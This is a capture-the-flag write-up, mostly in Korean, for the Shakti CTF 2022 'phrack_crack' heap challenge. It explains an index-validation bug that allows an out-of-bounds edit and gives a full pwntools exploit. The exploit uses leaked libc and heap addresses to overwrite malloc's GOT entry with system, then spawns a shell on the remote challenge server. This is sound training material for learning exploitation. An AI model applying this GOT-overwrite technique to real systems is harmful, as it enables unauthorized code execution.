Shakti CTF 2022 - phrack_crack (hard)

Info

(9/387) solves

Hard

description

phrack_phrack_phrack_crack_crack_crack.
Note: The server is running on Ubuntu 20.04.
Author: d1g174l_f0rtr355

for player

1
2
3
4
.
├── ld.so.2
├── libc.so.6
└── phrack_crack
1
phrack_crack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=06dd3b9850dc326bd98cb17e0049bcec4bd15219, not stripped

ld와 libc가 주어졌으니 patchelf를 이용해서 패치해주고 문제풀이를 하였다.

1
2
3
linux-vdso.so.1 (0x00007ffc78b1f000)
./libc.so.6 (0x00007f8d6e200000)
./ld.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f8d6e69d000)

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=======================
| Welcome Phrack 66 |
=======================

Here's a generous leak for you! 0x7fc34a06dba0

Here's one more generous leak for you: 0x961220

MENU

1. malloc 0/4
2. edit
3. target
4. quit
>

원하는 사이즈만큼 힙에 데이터를 할당 가능하고.. 원하는 인덱스(?)에 내용을 수정 가능하다.

Vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case 2:
puts("Enter index: ");
v5 = getint(8LL);
if ( v3 < 0 )
{
puts("No negative indices allowed!");
exit(0);
}
if ( v3 > 4 )
{
puts("maximum requests reached!");
exit(0);
}
if ( !m_array[v5] )
{
puts("Index not allocated!");
exit(0);
}
puts("data: ");
get_inp(m_array[v5], (unsigned int)(size + 10));

인덱스를 입력받지만 정작 검증하는 인덱스는 엉뚱한 값이라서 oob가 발생한다.

Exploit

Exploit Scenario

출력해주는 값을 통해 립시 베이스랑 힙 주소를 자연스럽게 알 수 있다.
1번 메뉴를 이용하여 힙을 할당한 다음 malloc got를 적어놓고 oob가 발생하니 malloc got가 써진 주소에 접근해서 2번 메뉴를 이용하여 malloc got를 system 주소로 덮을 수 있다.
그리고 다시 1번 메뉴를 이용하면 system으로 덮혀진 malloc이 실행될텐데 이때 인자를 우리의 입력값으로 조절할 수 있다. /bin/sh를 보내주면 성공.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./chall')
#p = process('./chall')
p = remote('65.2.136.80', 30930)
libc = e.libc

p.recvuntil('0x')
leak = int(p.recv(12), 16)
info(hex(leak))

libc.address = leak - libc.sym['puts']
info(hex(libc.address))

p.recvuntil('0x')
heap = int(p.recvline(), 16)
info(hex(heap))

heap = heap + 0x10e0
idx = (heap-0x4040c0)//8
print(idx)

# malloc , malloc_got
p.sendlineafter('> ', str(1))
p.sendlineafter('size:', str(10))
p.sendlineafter('data:', p64(0x404048))

# malloc_got -> system
p.sendlineafter('> ', str(2))
p.sendlineafter('index:', str(idx))

pause()
p.sendafter('data:', p64(libc.sym['system']))

binsh = next(libc.search(b'/bin/sh\x00'))
p.sendlineafter('> ', str(1))
p.sendlineafter('size:', str(binsh))

p.interactive()

tmi

너무 늦게 롸업을 작성한다 ㅎ.. 개인적으로 문제 코드에 malloc이 나오면 긴장하는 편인데 바로 취약점을 찾고 생각보다 빠르게 익스했던 기억이 난다.